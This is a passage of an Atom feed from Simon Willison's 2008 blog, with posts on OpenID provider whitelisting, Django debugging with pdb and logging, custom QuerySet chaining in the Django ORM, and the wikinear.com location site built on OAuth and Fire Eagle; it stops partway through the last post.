<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://feeds.simonwillison.net/~d/styles/atom10full.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.simonwillison.net/~d/styles/itemcontent.css" type="text/css" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-gb"><title>Simon Willison's Weblog Entries</title><link href="http://simonwillison.net/" rel="alternate" /><id>http://simonwillison.net/</id><updated>2008-06-24T08:12:23Z</updated><author><name>Simon Willison</name></author><link rel="self" href="http://feeds.simonwillison.net/swn-entries" type="application/atom+xml" /><entry><title>The point of "Open" in OpenID</title><link href="http://simonwillison.net/2008/Jun/24/openid/" rel="alternate" /><updated>2008-06-24T08:12:23Z</updated><id>http://simonwillison.net/2008/Jun/24/openid/</id><summary type="html">&lt;p&gt;TechCrunch report that &lt;a href="http://www.techcrunch.com/2008/06/23/microsofts-first-step-in-accepting-openid-signons-healthvault/"&gt;Microsoft are accepting OpenID&lt;/a&gt; for their new &lt;a href="http://www.healthvault.com/"&gt;HealthVault site&lt;/a&gt;, but with a catch: you can only use OpenIDs from two providers: &lt;a href="http://www.trustbearer.com/"&gt;Trustbearer&lt;/a&gt; (who offer two-factor authentication using a hardware token) and Verisign. "Whatever happened to the &lt;em&gt;Open&lt;/em&gt; in OpenID?", asks TechCrunch's Jason Kincaid.&lt;/p&gt;

&lt;p&gt;Microsoft's decision is a beautiful example of the Open in action, and I fully support it.&lt;/p&gt;

&lt;p&gt;You have to remember that behind the excitement and marketing OpenID is a protocol, just like SMTP or HTTP. All OpenID actually provides is a mechanism for asserting ownership over a URL and then "proving" that assertion. We can build a pyramid of interesting things on top of this, but that assertion is really all OpenID gives us (well, that and a globally unique identifier). In internet theory terms, it's a &lt;a href="http://en.wikipedia.org/wiki/Dumb_network"&gt;dumb network&lt;/a&gt;: the protocol just concentrates on passing assertions around; it's up to the endpoints to set policies and invent interesting applications.&lt;/p&gt;

&lt;p&gt;Open means that providers and consumers are free to use the protocol in whatever way they wish. If they want to only accept OpenID from a trusted subset of providers, they can go ahead. If they only want to pass OpenID details around behind the corporate firewall (great for gluing together an SSO network from open-source components) they can knock themselves out. Just like SMTP or HTTP, the protocol does not imply any rules about where or how it should be used.&lt;/p&gt;

&lt;p&gt;HealthVault have clearly made this decision due to security concerns - not over the OpenID protocol itself, but the providers that their users might choose to trust. By accepting OpenID on your site you are &lt;em&gt;outsourcing the security of your users&lt;/em&gt; to an unknown third party, and you can't guarantee that your users picked a good home for their OpenID. If you're a bank or a healthcare provider that's not a risk you want to take; whitelisting providers that you have audited for security means you don't have to rule out OpenID entirely.&lt;/p&gt;

&lt;p&gt;I have a very simple rule of thumb for whether or not a site should consider whitelisting OpenID providers: does the site offer a "forgotten password" feature that e-mails the user a login token? If it does, then the owners have already made the decision to outsource the security of their users to whoever they picked as an e-mail provider. If they don't (banks are a good example here) they should continue that policy decision and consider using an OpenID provider whitelist.&lt;/p&gt;

&lt;p&gt;I've been using the example of banks potentially accepting OpenID only from security audited providers in my &lt;a href="http://simonwillison.net/talks/openid/"&gt;talks on OpenID&lt;/a&gt; for at least the past year. Now I can finally provide a real-world example.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2008/Jun/24/openid/#comments"&gt;&lt;img src="http://simonwillison.net/2008/Jun/24/openid/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="dumbnetworks" /><category term="healthvault" /><category term="microsoft" /><category term="open" /><category term="openid" /><category term="security" /><category term="techcrunch" /><category term="trustbearer" /><category term="verisign" /></entry><entry><title>Debugging Django</title><link href="http://simonwillison.net/2008/May/22/debugging/" rel="alternate" /><updated>2008-05-22T00:35:40Z</updated><id>http://simonwillison.net/2008/May/22/debugging/</id><summary type="html">&lt;p&gt;I gave a talk on Debugging Django applications at &lt;a href="http://upcoming.yahoo.com/event/546918/"&gt;Monday's inaugural meeting&lt;/a&gt; of DJUGL, the London Django Users Group. I wanted to talk about something that wasn't particularly well documented elsewhere, so I pitched the talk as "Bug Driven Development" - what happens when Test Driven Development goes the way of &lt;a href="http://www.shipmentoffail.com/fails/2008/04/horse-vs-car-fail/"&gt;this unfortunate pony&lt;/a&gt;.&lt;/p&gt;

The slides &lt;a href="http://www.slideshare.net/simon/debugging-django/"&gt;are up on SlideShare&lt;/a&gt;, but don't provide quite enough context so I'm going to cover the tips in full here.

&lt;h4&gt;Making the most of the error page&lt;/h4&gt;

&lt;p&gt;Django's default error page is great - it provides a detailed traceback with local variables, lets you expand out the lines of code around the problem, provides a plain text exception suitable for e-mailing to colleagues and even a one-click button to send details to &lt;a href="http://dpaste.com/"&gt;http://dpaste.com/&lt;/a&gt; so you can go and talk about the error on IRC. It also serves the same purpose as &lt;a href="http://www.php.net/phpinfo"&gt;phpinfo()&lt;/a&gt; - it shows you your application's settings, the GET, POST and COOKIE data from the request and the all important META fields assembled from the HTTP environment (great for remembering how to miss-spell HTTP_REFERER).&lt;/p&gt;

&lt;p&gt;Useful tip number one is that you can trigger the error page from any view just by adding the following line:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;assert False&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You can serve up an expression with the assertion as well; it will be displayed at the top of the error page:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;assert False, request.GET&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;One particularly useful place to use this is when you are building a complex form. If you want to see the data that was submitted, drop an assert False in to the view that the form targets and use the error page to inspect the data.&lt;/p&gt;

&lt;h4&gt;Logging to the development server console&lt;/h4&gt;

&lt;p&gt;If you want to know what's going on inside a view, the quickest way is to drop in a print statement. The development server outputs any print statements directly to the terminal; it's the server-side alternative to a JavaScript alert().&lt;/p&gt;

&lt;p&gt;If you want to be a bit more sophisticated with your logging, it's worth turning to Python's logging module (part of the standard library). You can configure it in your settings.py:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;import logging
logging.basicConfig(
    level = logging.DEBUG,
    format = '%(asctime)s %(levelname)s %(message)s',
)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then call it from any of your views:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;def my_view(request):
    import logging
    logging.debug("A log message")
    ...&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Again, this will log things to the terminal where the development server is running. If you want to log things to a file you can do so by extending the basicConfig call:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;logging.basicConfig(
    level = logging.DEBUG,
    format = '%(asctime)s %(levelname)s %(message)s',
    filename = '/tmp/myapp.log',
    filemode = 'w'
)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You can then use &lt;samp&gt;tail -f /tmp/myapp.log&lt;/samp&gt; to see log lines being appended to that file in real-time. This can be used in production as well as development.&lt;/p&gt;

&lt;p&gt;The above just scratches the surface of Python's logging module; with a bit of &lt;a href="http://docs.python.org/lib/module-logging.html" title="Loggingi facility for Python"&gt;digging around in the documentation&lt;/a&gt; you can use it to rotate log files, send log messages over the network and even POST log events to an HTTP server somewhere.&lt;/p&gt;

&lt;p&gt;Often you find yourself dealing with an error that only occurs in certain circumstances - a function might be called from dozens of different places in your program but only runs in to trouble in a very specific case. You can use the &lt;a href="http://docs.python.org/lib/module-traceback.html"&gt;traceback module&lt;/a&gt; to log the current stack, which will allow you to tell how a function was called when something went wrong:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;import logging, traceback, pprint

def my_buggy_function(arg):
    ...
    if error_condition:
        stack = pprint.pformat(traceback.extract_stack())
        logging.debug('An error occurred: %s' % stack)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The tuple returned by &lt;code class="python"&gt;traceback.extract_stack()&lt;/code&gt; includes line numbers, function names and paths to Python files so you can use it to reconstruct a good amount of information about your program.&lt;/p&gt;

&lt;h4&gt;Using the debugger&lt;/h4&gt;

&lt;p&gt;By far the most powerful weapon in my debugging toolkit is the Python debugger, &lt;a href="http://docs.python.org/lib/module-pdb.html"&gt;pdb&lt;/a&gt;. Again, this ships with the standard library so there's nothing extra to install. pdb is a command line debugger (if you want a GUI options include &lt;a href="http://sourceforge.net/projects/pyeclipse/"&gt;PyEclipse&lt;/a&gt; and &lt;a href="http://www.activestate.com/Products/komodo_ide/index.mhtml"&gt;Komodo&lt;/a&gt;, but I haven't used either myself). There are a bunch of ways to activate pdb, but the most straight forward is to simply drop the following line directly in to a Django view function:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;import pdb; pdb.set_trace()&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you try to load that page in your browser, the browser will hang - the page will appear to be loading extremely slowly. What's actually happened is the developer server has paused execution and thrown up the pdb interface - you can switch over to your console and start interacting directly with the server mid view.&lt;/p&gt;

&lt;p&gt;Did I mention you should never, ever leave this on in production?&lt;/p&gt;

&lt;p&gt;So, you've got a hung development server and a pdb prompt. What can you do with it? The answer is pretty much anything. I won't provide a full pdb tutorial here (&lt;a href="http://www.onlamp.com/pub/a/python/2005/09/01/debugger.html"&gt;this is a good introduction&lt;/a&gt;), but the commands I find most useful are the following:&lt;/p&gt;

&lt;dl&gt;
    &lt;dt&gt;list&lt;/dt&gt;
    &lt;dd&gt;Shows the lines of source code around your current point of execution. You can run it multiple times to increase the amount of source code displayed.&lt;/dd&gt;
    &lt;dt&gt;n&lt;/dt&gt;
    &lt;dd&gt;Execute the next line&lt;/dd&gt;
    &lt;dt&gt;s&lt;/dt&gt;
    &lt;dd&gt;Same as n, but steps in to any functions that are called. You can quickly get lost in a twisty maze of code with this command, but that's OK because...&lt;/dd&gt;
    &lt;dt&gt;r&lt;/dt&gt;
    &lt;dd&gt;Continues execution until the current function returns&lt;/dd&gt;
    &lt;dt&gt;u&lt;/dt&gt;
    &lt;dd&gt;Goes UP one level in the stack - so you can see the function that called the function you are currently in&lt;/dd&gt;
    &lt;dt&gt;d&lt;/dt&gt;
    &lt;dd&gt;Goes DOWN again&lt;/dd&gt;
    &lt;dt&gt;locals()&lt;/dt&gt;
    &lt;dd&gt;not a pdb command, but handy for seeing what's in your current scope&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;The pdb docs have &lt;a href="http://www.python.org/doc/current/lib/debugger-commands.html"&gt;a full list of commands&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The pdb prompt doubles up as a full Python interactive shell, so you can not only access variables but you can modify them, call functions and generally mess around with the internals of your application as much as you like, while it's running. It's kind of a poor man's imitation of being a Smalltalk developer.&lt;/p&gt;

&lt;p&gt;Remember though, the whole time you're messing around in pdb your browser is still stuck there, waiting for the HTTP request to come back. If you hit "c" (for continue) your application will kick in again, the request will be served and your browser will breathe a sigh of relief.&lt;/p&gt;

&lt;p&gt;Thankfully you don't have to use pdb in a way that freezes your development server; it also works great in the interactive shell. If you've got a buggy function, one way to explore it is to run it interactively, then use the following idiom:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;&amp;gt;&amp;gt;&amp;gt; def function_that_raises_an_exception():
...   assert False
... 
&amp;gt;&amp;gt;&amp;gt; function_that_raises_an_exception()
Traceback (most recent call last):
  File &amp;quot;&amp;lt;stdin&amp;gt;&amp;quot;, line 1, in &amp;lt;module&amp;gt;
  File &amp;quot;&amp;lt;stdin&amp;gt;&amp;quot;, line 2, in function_that_raises_an_exception
AssertionError
&amp;gt;&amp;gt;&amp;gt; import pdb; pdb.pm()
&amp;gt; &amp;lt;stdin&amp;gt;(2)function_that_raises_an_exception()
(Pdb)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;pdb.pm()&lt;/code&gt; stands for post-mortem, and is probably my favourite feature of the debugger - it lets you jump back in to debug the most recently raised exception, even if you hadn't imported pdb at the time the exception was raised.&lt;/p&gt;

&lt;p&gt;One last pdb tip: you can use it to debug Python command line scripts such as Django's custom &lt;samp&gt;./manage.py&lt;/samp&gt; commands. The trick is to run the script like this:&lt;/p&gt;

&lt;p&gt;&lt;samp&gt;python -i manage.py buggy_command&lt;/samp&gt;&lt;/p&gt;

&lt;p&gt;The &lt;samp&gt;-i&lt;/samp&gt; argument causes Python to drop in to the interactive prompt after executing the script. If the script raised an exception, you can then use &lt;code&gt;pdb.pm()&lt;/code&gt; to debug it.&lt;/p&gt;

&lt;h4&gt;Handling errors in production&lt;/h4&gt;

&lt;p&gt;Django's default behaviour in production (that is, when the DEBUG setting is set to False) is to e-mail exception reports to anyone listed in the ADMINS section. You can also turn on e-mail reports on every 404 error with the SEND_BROKEN_LINK_EMAILS setting, which will send them to addresses in the MANAGERS setting. As far as I know these settings don't do anything else - they're a pretty ancient bit of Django.&lt;/p&gt;

&lt;p&gt;On a high traffic site you probably don't want to be e-mailed on every server error. One neat alternative is David Cramer's &lt;a href="http://code.google.com/p/django-db-log/"&gt;django-db-log&lt;/a&gt;, which logs exceptions to a database table. It cleverly uses an MD5 hash of the traceback to aggregate many reports of the same error. More importantly though, it acts as a really straight forward example of how to use Django middleware's process_exception hook to roll your own error reporting. Take a look &lt;a href="http://code.google.com/p/django-db-log/source/browse/trunk/djangodblog/__init__.py"&gt;at the code&lt;/a&gt; to see how simple this is.&lt;/p&gt;

&lt;h4&gt;More useful middleware&lt;/h4&gt;

&lt;p&gt;In the talk I demoed a couple of other handy pieces of middleware. The first was the &lt;a href="http://www.djangosnippets.org/snippets/727/"&gt;ProfilerMiddleware&lt;/a&gt; (one of several profiling tools on &lt;a href="http://www.djangosnippets.org/"&gt;Django Snippets&lt;/a&gt;) which allows you to add &lt;samp&gt;?prof&lt;/samp&gt; to the end of any URL to see the output of Python's &lt;a href="http://docs.python.org/lib/module-profile.html"&gt;cProfile module&lt;/a&gt; run against that request. The second is one that I've just released: &lt;a href="http://www.djangosnippets.org/snippets/766/"&gt;DebugFooter&lt;/a&gt;, which adds a footer showing exactly which templates were loaded from where (handy for debugging complex template paths) as well as every executed SQL query and how long each one took.&lt;/p&gt;

&lt;h4&gt;Abusing the test client&lt;/h4&gt;

&lt;p&gt;A final tip for exploring your application interactively is to learn to use &lt;a href="http://www.djangoproject.com/documentation/testing/"&gt;Django's TestClient&lt;/a&gt;. Although designed for use in unit tests, this tool is equally useful for use at the interactive prompt. It allows you to simulate an in-process request against your application from within your Python code. Here's an example:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;&amp;gt;&amp;gt;&amp;gt; from django.test.client import Client
&amp;gt;&amp;gt;&amp;gt; c = Client()
&amp;gt;&amp;gt;&amp;gt; response = c.get(&amp;quot;/&amp;quot;) # The homepage
&amp;gt;&amp;gt;&amp;gt; response
&amp;lt;django.http.HttpResponse object at 0x2300470&amp;gt;
&amp;gt;&amp;gt;&amp;gt; print response
Vary: Cookie
Content-Type: text/html; charset=utf-8

&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01//EN&amp;quot;
    &amp;quot;http://www.w3.org/TR/html4/strict.dtd&amp;quot;&amp;gt;
&amp;lt;html&amp;gt;
...&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The response object you get back is the &lt;code class="python"&gt;HttpResponse&lt;/code&gt; returned by the view, ready to be explored interactively.&lt;/p&gt;

&lt;p&gt;There's another function from the unit testing tools that can help with interactively exploring an application: &lt;code class="python"&gt;setup_test_environment()&lt;/code&gt;. This function monkey-patches in some additional hooks used by the unit tests, including one that intercepts template render calls and adds information on them to the request object. Here's an example:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;&amp;gt;&amp;gt;&amp;gt; from django.test.utils import setup_test_environment
&amp;gt;&amp;gt;&amp;gt; setup_test_environment()
&amp;gt;&amp;gt;&amp;gt; from django.test.client import Client
&amp;gt;&amp;gt;&amp;gt; c = Client()
&amp;gt;&amp;gt;&amp;gt; response = c.get(&amp;quot;/&amp;quot;)
&amp;gt;&amp;gt;&amp;gt; response.template
[&amp;lt;django.template.Template object at 0x2723dd0&amp;gt;,
 &amp;lt;django.template.Template object at 0x2723f30&amp;gt;,
 &amp;lt;django.template.Template object at 0x273ee10&amp;gt;]
&amp;gt;&amp;gt;&amp;gt; response.context
[ list of Context objects ]&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This allows you to explore not just the HTML returned by a view, but also the templates and contexts that were used to render it.&lt;/p&gt;

&lt;h4&gt;Your tips welcome&lt;/h4&gt;

&lt;p&gt;If you have any useful tips on debugging Django applications, please share them in the comments on this entry.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2008/May/22/debugging/#comments"&gt;&lt;img src="http://simonwillison.net/2008/May/22/debugging/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="debugging" /><category term="django" /><category term="djugl" /><category term="middleware" /><category term="talks" /></entry><entry><title>jQuery style chaining with the Django ORM</title><link href="http://simonwillison.net/2008/May/1/orm/" rel="alternate" /><updated>2008-05-01T12:31:17Z</updated><id>http://simonwillison.net/2008/May/1/orm/</id><summary type="html">&lt;p&gt;Django's ORM is, in my opinion, the unsung gem of the framework. For the subset of SQL that's used in most web applications it's very hard to beat. It's a beautiful piece of API design, and I tip my hat to the people who designed and built it.&lt;/p&gt;

&lt;h4&gt;Lazy evaluation&lt;/h4&gt;

&lt;p&gt;If you haven't spent much time with the ORM, two key features are lazy evaluation and chaining. Consider the following statement:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;entries = Entry.objects.all()&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Assuming you have created an Entry model of some sort, the above statement will create a Django QuerySet object representing all of the entries in the database. It will &lt;em&gt;not&lt;/em&gt; result in the execution of any SQL - QuerySets are lazily evaluated, and are only executed at the last possible moment. The most common situation in which SQL will be executed is when the object is used for iteration:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;for entry in entries:
    print entry.title&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This usually happens in a template:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;&amp;lt;ul&amp;gt;
{% for entry in entries %}
  &amp;lt;li&amp;gt;{{ entry.title }}&amp;lt;/li&amp;gt;
{% endfor %}
&amp;lt;/ul&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Lazy evaluation works nicely with  &lt;a href="http://www.djangoproject.com/documentation/cache/#template-fragment-caching"&gt;template fragment caching&lt;/a&gt; - even if you pass a QuerySet to a template it won't be executed if the fragment it is used in can be served from the cache.&lt;/p&gt;

&lt;p&gt;You can modify QuerySets as many times as you like before they are executed:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;entries = Entry.objects.all()
today = datetime.date.today()
entries_this_year = entries.filter(
    posted__year = today.year
)
entries_last_year = entries.filter(
    posted__year = today.year - 1
)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Again, no SQL has been executed, but we now have two QuerySets which, when iterated, will produce the desired result.&lt;/p&gt;

&lt;h4&gt;Chaining&lt;/h4&gt;

&lt;p&gt;Chaining comes in when you want to apply multiple modifications to a QuerySet. Here are blog entries from 2006 that weren't posted in January:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;Entry.objects.filter(
    posted__year = 2006
).exclude(posted__month = 1)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And here's entries from that year posted to the category named "Personal", ordered by title:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;Entry.objects.filter(
    posted__year = 2006
).filter(
    category__name = "Personal"
).order_by('title')&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The above can also be expressed like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;Entry.objects.filter(
    posted__year = 2006,
    category__name = "Personal"
).order_by('title')&lt;/code&gt;&lt;/pre&gt;

&lt;h4&gt;Chaining in jQuery&lt;/h4&gt;

&lt;p&gt;The parallels to &lt;a href="http://jquery.com/"&gt;jQuery&lt;/a&gt; are pretty clear. The jQuery API is built around chaining, and the jQuery &lt;a href="http://docs.jquery.com/Effects"&gt;animation library&lt;/a&gt; even uses a form of lazy evaluation to automatically queue up effects to run in sequence:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery('div#message').addClass(
	'borderfade'
).animate({
   'borderWidth': '+10px'
}, 1000).fadeOut();&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;One of the neatest things about jQuery is the plugin model, which takes advantage of JavaScript's prototype inheritance and makes it trivially easy to add new chainable methods. If we wanted to package the above dumb effect up as a plugin, we could do so like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery.fn.dumbBorderFade = function() {
    return this.addClass(
        'borderfade'
    ).animate({
       'borderWidth': '+10px'
    }, 1000).fadeOut();
};&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now we can apply it to an element like so:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery('div#message').dumbBorderFade();&lt;/code&gt;&lt;/pre&gt;

&lt;h4&gt;Custom QuerySet methods in Django&lt;/h4&gt;

&lt;p&gt;Django supports adding custom methods for accessing the ORM through the ability to implement a custom &lt;a href="http://www.djangoproject.com/documentation/model-api/#managers"&gt;Manager&lt;/a&gt;. In the above examples, &lt;code class="python"&gt;Entry.objects&lt;/code&gt; is the Manager. The downside of this approach is that methods added to a manager can only be used at the beginning of the chain.&lt;/p&gt;

&lt;p&gt;Luckily, Managers also provide a hook for returning a custom QuerySet. This means we can create our own QuerySet subclass and add new methods to it, in a way that's reminiscent of jQuery:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;from django.db import models
from django.db.models.query import QuerySet
import datetime

class EntryQuerySet(QuerySet):
    def on_date(self, date):
        next = date + datetime.timedelta(days = 1)
        return self.filter(
            posted__gt = date,
            posted__lt = next
        )

class EntryManager(models.Manager):
    def get_query_set(self):
        return EntryQuerySet(self.model)

class Entry(models.Model):
    ...
    objects = EntryManager()&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The above gives us a new method on the QuerySets returned by Entry.objects called on_date(), which lets us filter entries down to those posted on a specific date. Now we can run queries like the following:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;Entry.objects.filter(
    category__name = 'Personal'
).on_date(datetime.date(2008, 5, 1))&lt;/code&gt;&lt;/pre&gt;

&lt;h4&gt;Reducing the boilerplate&lt;/h4&gt;

&lt;p&gt;This method works fine, but it requires quite a bit of boilerplate code - a QuerySet subclass and a Manager subclass plus the wiring to pull them all together. Wouldn't it be neat if you could declare the extra QuerySet methods inside the model definition itself?&lt;/p&gt;

&lt;p&gt;It turns out you can, and it's surprisingly easy. Here's the syntax I came up with:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;from django.db.models.query import QuerySet

class Entry(models.Model):
   ...
   objects = QuerySetManager()
   ...
   class QuerySet(QuerySet):
       def on_date(self, date):
           return self.filter(
               ...
           )&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here I've made the custom QuerySet class an inner class of the model definition. I've also replaced the default manager with a QuerySetManager. All this class does is return the QuerySet inner class for the current model from get_query_set. The implementation looks like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class="python"&gt;class QuerySetManager(models.Manager):
    def get_query_set(self):
        return self.model.QuerySet(self.model)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I'm pretty happy with this; it makes it trivial to add custom QuerySet methods and does so without any monkeypatching or deep reliance on Django ORM internals. I think the ease with which this can be achieved is a testament to the quality of the ORM API.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2008/May/1/orm/#comments"&gt;&lt;img src="http://simonwillison.net/2008/May/1/orm/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="api" /><category term="chaining" /><category term="django" /><category term="jquery" /><category term="orm" /><category term="python" /><category term="queryset" /></entry><entry><title>wikinear.com, OAuth and Fire Eagle</title><link href="http://simonwillison.net/2008/Mar/22/wikinear/" rel="alternate" /><updated>2008-03-22T14:34:53Z</updated><id>http://simonwillison.net/2008/Mar/22/wikinear/</id><summary type="html">&lt;p&gt;I'm pleased to announce &lt;a href="http://wikinear.com/"&gt;wikinear.com&lt;/a&gt;. It's a simple site that does just one thing: show you a list of the five Wikipedia pages that are geographically closest to your current location. It's designed (or not-designed) to be used mainly from mobile phones.&lt;/p&gt;

&lt;p&gt;You'll need a &lt;a href="http://fireeagle.yahoo.net/"&gt;Fire Eagle&lt;/a&gt; invitation code to use the site. &lt;del&gt;I've got four spare; the first four comments to ask for one can have them&lt;/del&gt; my invites are all accounted for. If you don't have a Fire Eagle account you'll have to make do with &lt;a href="http://www.flickr.com/photos/simon/2351435457/"&gt;this screenshot&lt;/a&gt; instead.&lt;/p&gt;

&lt;p&gt;The idea for the site came from living in Oxford for a year. The city is full of beautiful old historic buildings (many of them colleges), but very few of them are labelled or signposted. With wikinear.com and a GPS hooked up to Fire Eagle, I can pull out my phone and see a list of the closest points of interest, plotted on a handy map.&lt;/p&gt;

&lt;p&gt;Under the hood the site combines a number of interesting technologies: &lt;a href="http://oauth.net/"&gt;OAuth&lt;/a&gt;, &lt;a href="http://fireeagle.yahoo.net/"&gt;Fire Eagle&lt;/a&gt;, &lt;a href="http://www.geonames.org/"&gt;GeoNames&lt;/a&gt; and the new &lt;a href="http://code.google.com/apis/maps/documentation/staticmaps/"&gt;Google Static Maps API&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;OAuth&lt;/h3&gt;

&lt;p&gt;&lt;a href="http://oauth.net/"&gt;OAuth&lt;/a&gt; was originally designed to solve a problem with OpenID: in an authentication protocol based on browser redirects, how do you authenticate a desktop or command-line application? As it turned out, the solution to that problem solved a bunch of other problems that are unrelated to OpenID, so OAuth now exists as very much its own thing. In essence, it lets users delegate permission to perform actions on their behalf, without having to hand their regular authentication credentials (e.g. username and password) over to a third-party piece of software.&lt;/p&gt;

&lt;p&gt;If you've ever used a Flickr application that sends you back to Flickr to ask permission to view your private photos you'll understand what OAuth does straight away. Before OAuth, sites had to invent their own solutions to this problem - complete with smart security measures, their own UI flow and libraries for developers wishing to access their protected APIs. OAuth provides a ready-made solution, complete with &lt;a href="http://oauth.net/code/"&gt;tested libraries in a bunch of languages&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you want to securely expose your user's private data via an API, OAuth is a no-brainer. I expect to see a lot more of it over the next year.&lt;/p&gt;

&lt;h3&gt;Fire Eagle&lt;/h3&gt;

&lt;p&gt;Launched at ETech a few weeks ago, &lt;a href="http://fireeagle.yahoo.net/"&gt;Fire Eagle&lt;/a&gt; is a service with enormous potential. You can watch Tom Coates explain it in ten minutes in &lt;a href="http://developer.yahoo.net/blogs/theater/archives/2008/03/fire_eagle_launches.html" title="Fire Eagle Launches"&gt;this video from the conference&lt;/a&gt;, but the short version is that Fire Eagle acts as a &lt;em&gt;location broker&lt;/em&gt;. It consists of two key OAuth-protected APIs: one for setting the geographical location of a user, and another for retrieving that location.&lt;/p&gt;

&lt;p&gt;This leads to a neat separation of concerns. On the one hand are the applications that attempt to figure out your location - GPS receivers, WiFi maps, mobile phones that triangulate nearby cell towers, or even sites that know where you are because you told them (Dopplr and Upcoming, for example, or the Fire Eagle site itself). On the other hand are the applications that do something useful with your location - from restaurant review sites, traffic alert services, friend finders and &lt;a href="http://en.wikipedia.org/wiki/Alternate_reality_game"&gt;ARGs&lt;/a&gt; down to trivial applications like wikinear.com.&lt;/p&gt;

&lt;p&gt;As a developer, this is really exciting. I can build location-based services without having to solve the much bigger problem of figuring out where my users are. Even better, wikinear.com becomes incrementally more useful every time someone builds a new tool for passing location information to Fire Eagle, without me having to do anything at all.&lt;/p&gt;

&lt;p&gt;Obviously privacy is a huge concern when dealing with this kind of data. That's where the Fire Eagle application itself comes in: it provides a simple suite of tools for users to manage the applications that can access their location. Applications can be permitted to access different levels of accuracy or disabled entirely, and there's a "Hide" button for disabling all applications at once.&lt;/p&gt;

&lt;p&gt;Disclaimer: I worked on an early prototype of Fire Eagle as my last project at Yahoo! before leaving in January 2007, but the product that has launched has changed enormously and is entirely the work of the current Fire Eagle team. wikinear.com is inspired by part of that early prototype.&lt;/p&gt;

&lt;h3&gt;Wikipedia and GeoNames&lt;/h3&gt;

&lt;p&gt;Wikipedia has a thriving community of geo-hackers, mainly focused around the &lt;a href="http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Maps"&gt;Maps&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Geographical_coordinates"&gt;Geographical coordinates&lt;/a&gt; and &lt;a href="http://de.wikipedia.org/wiki/Wikipedia:WikiProjekt_Georeferenzierung/Wikipedia-World/en"&gt;Wikipedia-World&lt;/a&gt; wiki projects. Many Wikipedia pages (&lt;a href="http://en.wikipedia.org/wiki/Brighton"&gt;Brighton&lt;/a&gt;, for example) have their co-ordinates in the top-right, added using a bewildering array of macros and markup extensions. You can browse through the huge collection of geotagged pages using &lt;a href="http://maps.google.com/maps?q=http:%2F%2Ftools.wikimedia.de%2F~kolossos%2Fgeoworld%2FWP-world-maps.php%3Flang%3Den&amp;amp;ie=UTF8&amp;amp;om=1"&gt;this KML-powered Google Maps tool&lt;/a&gt; - zoom in and wait a few seconds to load in more markers.&lt;/p&gt;

